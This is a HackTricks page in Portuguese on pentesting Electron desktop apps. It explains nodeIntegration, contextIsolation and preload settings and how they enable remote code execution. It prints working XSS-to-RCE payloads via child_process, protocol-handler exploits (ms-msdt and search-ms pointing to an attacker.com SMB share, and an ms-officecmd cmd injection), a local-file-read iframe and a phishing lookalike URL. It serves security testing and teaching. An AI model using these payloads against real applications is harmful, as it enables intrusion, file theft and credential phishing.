Electron Desktop Apps

Support HackTricks

Introdução

Electron combina um backend local (com NodeJS) e um frontend (Chromium), embora falte alguns dos mecanismos de segurança dos navegadores modernos.

Normalmente, você pode encontrar o código do aplicativo electron dentro de uma aplicação .asar, para obter o código você precisa extraí-lo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

No código-fonte de um aplicativo Electron, dentro de packet.json, você pode encontrar especificado o arquivo main.js onde as configurações de segurança são definidas.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron tem 2 tipos de processo:

  • Processo Principal (tem acesso completo ao NodeJS)

  • Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)

Um processo de renderização será uma janela do navegador carregando um arquivo:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

As configurações do processo de renderização podem ser configuradas no processo principal dentro do arquivo main.js. Algumas das configurações impedirão que o aplicativo Electron obtenha RCE ou outras vulnerabilidades se as configurações estiverem corretamente configuradas.

O aplicativo Electron pode acessar o dispositivo via APIs Node, embora possa ser configurado para impedir isso:

  • nodeIntegration - está desligado por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização.

  • contextIsolation - está ativado por padrão. Se desligado, os processos principal e de renderização não estão isolados.

  • preload - vazio por padrão.

  • sandbox - está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar.

  • Integração do Node em Workers

  • nodeIntegrationInSubframes - está desligado por padrão.

  • Se nodeIntegration estiver ativado, isso permitiria o uso de APIs Node.js em páginas da web que estão carregadas em iframes dentro de um aplicativo Electron.

  • Se nodeIntegration estiver desativado, então os preloads serão carregados no iframe.

Exemplo de configuração:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Alguns RCE payloads de aqui:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capturar tráfego

Modifique a configuração start-main e adicione o uso de um proxy como:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injeção de Código Local do Electron

Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazer com que ele execute código JavaScript arbitrário. Veja como em:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Se o nodeIntegration estiver definido como on, o JavaScript de uma página da web pode usar recursos do Node.js facilmente apenas chamando o require(). Por exemplo, a maneira de executar o aplicativo calc no Windows é:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

O script indicado nesta configuração é loaded antes de outros scripts no renderizador, então ele tem acesso ilimitado às APIs do Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Portanto, o script pode exportar node-features para páginas:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Se contextIsolation estiver ativado, isso não funcionará

RCE: XSS + contextIsolation

O contextIsolation introduz os contextos separados entre os scripts da página da web e o código interno JavaScript do Electron, de modo que a execução do JavaScript de cada código não afete o outro. Este é um recurso necessário para eliminar a possibilidade de RCE.

Se os contextos não estiverem isolados, um atacante pode:

  1. Executar JavaScript arbitrário no renderer (XSS ou navegação para sites externos)

  2. Sobrescrever o método embutido que é usado no preload ou no código interno do Electron para uma função própria

  3. Acionar o uso da função sobrescrita

  4. RCE?

Existem 2 lugares onde métodos embutidos podem ser sobrescritos: No código de preload ou no código interno do Electron:

Electron contextIsolation RCE via preload codeElectron contextIsolation RCE via Electron internal codeElectron contextIsolation RCE via IPC

Bypass click event

Se houver restrições aplicadas ao clicar em um link, você pode ser capaz de contorná-las fazendo um clique do meio em vez de um clique esquerdo normal.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Para mais informações sobre estes exemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/

Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para nodeIntegration e contextIsolation é crucial. Está estabelecido que execução remota de código do lado do cliente (RCE) direcionando scripts de preload ou o código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações em vigor.

Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, que são cruciais para a segurança e funcionalidade do aplicativo:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Esses ouvintes são substituídos pelo aplicativo de desktop para implementar sua própria lógica de negócios. O aplicativo avalia se um link navegável deve ser aberto internamente ou em um navegador da web externo. Essa decisão é geralmente tomada por meio de uma função, openInternally. Se essa função retornar false, isso indica que o link deve ser aberto externamente, utilizando a função shell.openExternal.

Aqui está um pseudocódigo simplificado:

As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função openExternal, pois isso pode levar a RCE através de vários protocolos. Os sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar este recurso, que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.

Exemplos de exploits de protocolos do Windows incluem:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Lendo Arquivos Internos: XSS + contextIsolation

Desabilitar contextIsolation permite o uso de <webview> tags, semelhante a <iframe>, para ler e exfiltrar arquivos locais. Um exemplo fornecido demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:

Além disso, outro método para ler um arquivo interno é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivo local em um aplicativo desktop Electron. Isso envolve injetar um script para explorar o aplicativo e exfiltrar dados:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Old Chromium

Se o chromium usado pelo aplicativo é antigo e há vulnerabilidades conhecidas nele, pode ser possível explorá-lo e obter RCE através de um XSS. Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

Supondo que você encontrou um XSS, mas não consegue acionar RCE ou roubar arquivos internos, você poderia tentar usá-lo para roubar credenciais via phishing.

Primeiro de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

A chamada para openInternally decidirá se o link será aberto na janela do desktop como um link pertencente à plataforma, ou se será aberto no navegador como um recurso de 3ª parte.

No caso de a regex usada pela função ser vulnerável a bypasses (por exemplo, por não escapar os pontos dos subdomínios), um atacante poderia abusar do XSS para abrir uma nova janela que estará localizada na infraestrutura do atacante solicitando credenciais ao usuário:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Ferramentas

  • Electronegativity é uma ferramenta para identificar configurações incorretas e anti-padrões de segurança em aplicações baseadas em Electron.

  • Electrolint é um plugin de código aberto para VS Code para aplicações Electron que utiliza Electronegativity.

  • nodejsscan para verificar bibliotecas de terceiros vulneráveis.

  • Electro.ng: Você precisa comprá-lo.

Laboratórios

Em https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.

Alguns comandos que ajudarão você no laboratório:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referências

Suporte ao HackTricks

Last updated